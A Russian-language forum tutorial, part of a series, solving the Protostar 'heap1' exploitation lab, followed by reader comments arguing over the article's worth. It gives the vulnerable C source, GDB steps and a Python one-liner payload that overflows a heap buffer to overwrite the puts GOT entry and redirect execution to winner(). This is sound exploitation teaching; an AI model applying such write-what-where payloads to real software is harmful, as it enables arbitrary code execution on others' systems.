• Лучшая CTF площадка рунета Игры Кодебай

    Выполняй задания по кибербезопасности в формате CTF и получай бесценный опыт. Ознакомиться с подробным описанием можно тут.

Статья Условие Write-what-where и перехват потока управления кодом - Изучение методов эксплуатации на примерах, часть 16

Доброго времени суток codeby. В предыдущей статье мы работали над переполнением буфера в кучи и перезаписывали структурный указатель на функцию. В статье мы так же будем работать над переполнением кучи и познакомимся с произвольной перезаписью памяти — условием Write-What-Where, посмотрим, что это такое и с чем его едят. И так поехали…

Описание ExploitMe
Этот уровень учитывает перехват потока выполнения кода в случаях перезаписи данных.

Этот уровень находится в / opt / protostar / bin / heap1

, VM

Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

Решение

Эта задача является отличным введением в класс уязвимостей Write-What-Where (запись-что-где), в которой описывается возможность произвольной записи.

Уязвимость — произвольной перезаписи памяти, или уязвимость известная, как уязвимость «запись-что-где» (Write-What-Where) — это любое условие, при котором злоумышленник может записать произвольное значение в произвольное место, часто в результате переполнения буфера. Это может быть использовано для перезаписи указателя функции, который позднее разыменовывается, заменяя его адресом памяти, к которому злоумышленник имеет законный доступ, куда он поместил вредоносный код, что приводит к выполнению произвольного кода.

В этой задаче в качестве «выполнения произвольного кода» у нас выступает мертвая функция winner(). Поэтому суть сегодняшней задачи вызвать функцию winner(). Но прежде, чем мы до нее доберемся рассмотрим исходный код данной нам программы.

И так…

В глобальной области памяти определена структура данных с именем internet. В ней определены два элемента. Элемент priority обозначенный как целочисленная переменная и элемент name обозначенный как указатель на строку. Тут же можно добавить, что в языке Си конструкция char *ptr эквивалента конструкции char ptr[].

В главной функции main() под структуру internet созданы три переменных i1,i2,i3. Эти переменные являются указателями структурного типа для структуры internet.

Две их них используются i1 и i2. Третья переменная i3 нет.

Дальше происходит присвоение адресов памяти этим указателям на начальные адреса выделенной памяти.

C:
i1 = malloc(sizeof(struct internet));
i2 = malloc(sizeof(struct internet));

Напомню, что heap — это область динамической памяти, выделяемая на стадии исполнения программы. Выделяется 8 байт из подсчета оператора sizeof.

Затем структурный указатель i1 и i2 ссылается на элемент priority в структуре internet которому присваивается соответственно целочисленное значение 1 и 2.

C:
i1->priority = 1;
i2->priority = 2;

Далее структурные указатели ссылаются на элемент name в структуре internet которому присваиваться адрес на выделенный блок в памяти из 8 байт.

C:
i1->name = malloc(8);
i2->name = malloc(8);

А теперь самое главное. Указатели структурного типа ссылаются на элемент name в структуре internet. Используется функция strcpy(), которая принимает входные данные через аргумент и пишет их в name.

C:
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);

И получается у нас следующие… Было выделены две структуры internet. Каждая структура содержит указатель name который выделяется отдельно. Это означает, что структура internet, размещенная в куче, будет содержать указатель на другую часть памяти в куче.

И так откроем программу под отладчиком GDB и дизассемблируем главную функцию main().

Код:
gdb -q ./heap1
disas main

cFhwjIl.png


Затем поставим точку останова на RET адрес, чтобы программа не завершилась при выполнении и запустим программу под отладчиком передав ей две строки, по скольку наша программа принимает два аргумента.

Код:
break *0x08048567
run AAAA BBBB

muxrrWd.png


Теперь посмотрим карту процесса нашей программы, чтобы найти начальный адрес расположения кучи.

Код:
info proc map

3gwiN5s.png



И выведем 50 адресов относительно начального адреса памяти кучи, чтобы посмотреть где и как лежат наши введенные строки в памяти.

Код:
x/50x 0x804a000

QMJpg7F (1).png


Посмотрим, что находится по адресу — 0x0804a038.

Код:
x/x 0x0804a038
x/s 0x0804a038

trgtjae (1).png


По адресу 0x0804a038 находится куча №2. Следовательно у нас получается такая картина. Смещение до адреса кучи №2 составляет 20 байт. Проверим так ли это…

VyHpIB7.png


Запустим программу под отладчиком и передадим ей в первый аргумент 20 байт из букв «А» и 4 байта из букв «В». А во второй аргумент передадим 4 байта из букв «С». И посмотрим на кучу относительно начального адреса кучи.

Код:
run `python -c 'print "A"*20 + "B"*4'` CCCC

Смотрим

Код:
x/50x 0x804a000

e2qGueb-1.png


Как мы видим мы перезаписали начальный адрес кучи №2. Мы можем писать по произвольному адресу. Это и есть условие Write-What-Where. Осталось лишь подобрать нужный нам адрес для перезаписи и выполнить произвольный код)).

Воспользуемся уже знакомым нам методом. Перезаписью . Если мы посмотрим на дизассемблированный листинг программы функции main(), то увидим, что сразу после второй уязвимой функцию strcpy(), идет вызов функции puts(), включая вызов адреса в PLT. Затем он переходит на адрес сохраненный в GOT. Этим мы и воспользуемся.

Код:
disas main

rnC80oA (1).png


Код:
x/x 0x80483cc
x/i 0x80483cc
disas 0x80483cc

WxBaZ2U (1).png


Или же через objdump

Код:
objdump -TR ./heap1

YD5ijji (1).png


Если уж говорить простым языком процедура PLT, является неким «гаджетом» для прыжка, на другие функции, которые находятся в нашей программе.

Теперь узнаем адрес функции winner().

Код:
print &winner

UpXr2Z5 (1).png


Адрес функции winner получен — 0x8048494.

Теперь составим наш эксплойт, использовать будем все так же Python, а структура payload’а будет выглядеть следующим образом.

Код:
struct_offset + exec_redir_addr + winner_addr
"A"*20     +      0x8049774     +   0x8048494

Ну и по скольку у нас специфическая уязвимая программа, которая принимает два аргумента, наш сплойт тоже будет специфическим. Он будет разделен на две части.

Код:
struct_offest + exec_redir_addr | winner_addr
arg1                            | arg2

Цель первого аргумента состоит в том, чтобы переполнить буфер кучи i1-> name в структуре i2 и перезаписать адрес i2-> name адресом адреса puts_GOT. Цель второго аргумента — просто указать адрес, на который будет перенаправлено выполнение кода.

Запускаем сплойт

Код:
./heap1 `python -c 'from struct import pack; exec_redir_addr=pack("I",0x8049774); struct_offset= "A"*20; print struct_offset + exec_redir_addr'` `python -c 'from struct import pack; winner_addr=pack("I",0x8048494); print winner_addr'`

I15La8G-1.png


Отлично мы перехватили поток выполнения кода и выполнили функцию winner(). Теперь можно переходить на следующий .
 

yky

Green Team
31.12.2019
100
41
Информация специфическая,подача как у новечка в реверсе )))
Не о чём тема
 
  • Не нравится
Реакции: swagcat228

fuzzz

Red Team
03.02.2019
247
462
Информация специфическая,подача как у новечка в реверсе )))
Не о чём тема
В смысле не о чем? Напиши лучше?! Этот цикл и рассчитан на новичков. Мне вот хотелось, чтобы зашел к примеру и прочитал "о том, о сем" доступным языком. А не ковырять гугл на зарубежных ресурсах. Чет я по форумам ходил. Нигде такого не видел. даже на r0 Crew такого нету. Зато есть куча объяв куплю картон, продам бота, как вставить кавычку. Тем более материал не претендует на строгую научную публикацию. Просто наверно не для тебя материал. Раз он не о чем.
 
Последнее редактирование:

yky

Green Team
31.12.2019
100
41
Я сомневаюсь что ночевки вообще поймут что за утилиты используются в статье.
Видео подкрепляющие действие лучше усваиваются.
Специфичиский материал подан так же
Тема не раскрыта )))
 

fuzzz

Red Team
03.02.2019
247
462
Я сомневаюсь что ночевки вообще поймут что за утилиты используются в статье.
Видео подкрепляющие действие лучше усваиваются.
Специфичиский материал подан так же
Тема не раскрыта )))
Не знаю, о каких таких ты НОВИЧКАХ говоришь? Что не поймут что такое GDB и Python. Это же надо быть дегенератом. Тема раскрыта код выполнен. А ты попробуй доступным языком объяснить сложные вещи ? А вы только про свои сраные ковычки и умеете писать и больше нихрена.
 
  • Нравится
Реакции: Mogen

yky

Green Team
31.12.2019
100
41
Я помогу немного
 

fuzzz

Red Team
03.02.2019
247
462
Я помогу немного
Есть такое знаю этот ресурс. Но смысл снимать видео. Базовые вещи лучше в статье описать. А на счет видео лучше уж тогда курс сделать по эксплуатации багов под Windows.
 

art445

One Level
26.12.2019
12
18
Очень чешется сказать пару слов :)

В реальной жизни, почти всегда, сначала ты сталкиваешься с фактом, например - программа падает при указании параметром очень длиной строки. Ты смотришь в отладчике где она падает, дезассемблируешь программу и ищешь возможность эксплуатнуть ошибку программиста который не проверяет длину строки.
Таким образом:
1. ты никогда не знаешь исходного кода программы жертвы и я думаю, в примере его показывать не нужно, так будет более приближено к жизни.
2. на сколько мне известно разные компиляторы имеют разную реализацию манагеров памяти, впрочем как разную реализацию структурной обработки исключений, поэтому не факт что после другого компилятора дезассемблирование этого кода покажет ту же самую картину
По моему практических знаний в этом рассказе очень мало. Все реальные ошибки найдены случайно, а не в результате умных анализов, и потом уже для них придуманы эксплоиты.
 

fuzzz

Red Team
03.02.2019
247
462
art445

Еще есть такое понятие как.

Аудит программного кода - это всесторонний анализ в проекте с целью выявления ошибок, нарушений безопасности или нарушений соглашений о программировании. Это неотъемлемая часть парадигмы , которая пытается уменьшить количество ошибок до выпуска программного обеспечения. Исходный код C и C ++ является наиболее распространенным кодом, подлежащим аудиту, поскольку многие языки более высокого уровня, такие как Python, имеют меньше потенциально уязвимых функций (например, функций, которые не проверяют границы)...

К тому же мы изучаем эксплуатацию багов, и практикуем аудит кода в данном цикле. Ну и как выше было сказано в цикле не описывается blackbox testing для поисков багов. Набивается рука на аудит и эксплуатацию... Так как появляются новые защиты и эксплуатация багов усложняется тут и сделан акцент на эксплуатацию, хоть и митегейшенов тут нет. Но они будут. Важно понять принципы. А поиск багов уже совсем другая история. Их ищут с помощью фаззинга в основном.

Ничего компилировать не надо все уже скомпилировано и настроено тут - клац.

p.s. прежде, чем стрелять с закрытыми глазами в яблоко из лука, надо научиться стрелять в яблоко с открытыми глазами и вообще научиться держать лук...
 
Последнее редактирование:

art445

One Level
26.12.2019
12
18
Да ну? White box - не о чем не говорит тебе?
p.s. прежде, чем стрелять с закрытыми глазами в яблоко из лука, надо научиться стрелять в яблоко с открытыми глазами и вообще научиться держать лук...

Перед тем как пустить программу в продажу производители ее уже сто раз протестировали, а писать высокоуровневые проги без косяков можно только исправляя свои косяки - опыт не купишь не вычитаешь в книгах.
 

mrOkey

Grey Team
14.11.2017
972
980
Перед тем как пустить программу в продажу производители ее уже сто раз протестировали, а писать высокоуровневые проги без косяков можно только исправляя свои косяки - опыт не купишь не вычитаешь в книгах.
А как производитель по твоему тестирует? Без кода?
 

fuzzz

Red Team
03.02.2019
247
462
Перед тем как пустить программу в продажу производители ее уже сто раз протестировали, а писать высокоуровневые проги без косяков можно только исправляя свои косяки - опыт не купишь не вычитаешь в книгах.
Готов поспорить с тобою. Как раз таки они пишут с косяками и по большей части им бы лишь бы выкатить софт в продакшен. Из-за этой тенденции был придуман SDL. Но это не панацея от всего на свете. Софт просто проходит определенные тест кейсы и все. Какие то баги закрываются. Какие то баги не закрывают, потому что горит день реализа. А перед днем реализа нашли 100 багов к примеру. Тут либо отложить реализ либо выпустить. Чаще выпускают с последующем апдейтом. Всё что не покрывает SDL именно те тест кейсы. Там все равно остаются баги. Т.е. какую-то часть кода покрыли нашли пофиксили, какую то часть не покрыли кода там остались ошибки - баги. К тому же когда выходит какой то фикс баги. Изменяется сама логика программы. Это можно объяснить следующим. "Что-то лечим другое калечим". Т.е. одно пофиксили другое сломали. Так как был добавлен новый код. К примеру вот пойти сейчас на сайт скачать от туда исходники. Думаешь там нет багов? Есть там все. Просто их не нашли. Так что не надо сказки тут рассказывать и вводить в заблуждение пользователей.
 

art445

One Level
26.12.2019
12
18
Насколько я понимаю из этой статьи предполагается получить навыки дезассемблирования и использования ошибок в коде для внедрения чужеродного кода. По моему мнению, самые хорошие примеры в этом направлении - это разбор функционала какого-нибудь реального сетевого червя, именно там используется этот механизм чаще всего. Для образования любые знания хороши, но лабораторная работа дает знание которое легче применить в жизни :)

Что касается кухни - в любом производстве есть свои трудности - все люди по натуре левые, а окружающая действительность сурова и беспощадна.
 

swagcat228

Заблокирован
19.12.2019
341
86
Насколько я понимаю из этой статьи предполагается получить навыки дезассемблирования и использования ошибок в коде для внедрения чужеродного кода. По моему мнению, самые хорошие примеры в этом направлении - это разбор функционала какого-нибудь реального сетевого червя, именно там используется этот механизм чаще всего. Для образования любые знания хороши, но лабораторная работа дает знание которое легче применить в жизни :)

Что касается кухни - в любом производстве есть свои трудности - все люди по натуре левые, а окружающая действительность сурова и беспощадна.
вот вот. и эти левые сидят, смотрят, завидуют, и плюются желчью в монитор.

пока кто-то делает добро искренне и без корысти.
 
  • Не нравится
  • Нравится
Реакции: peka и yky
Мы в соцсетях: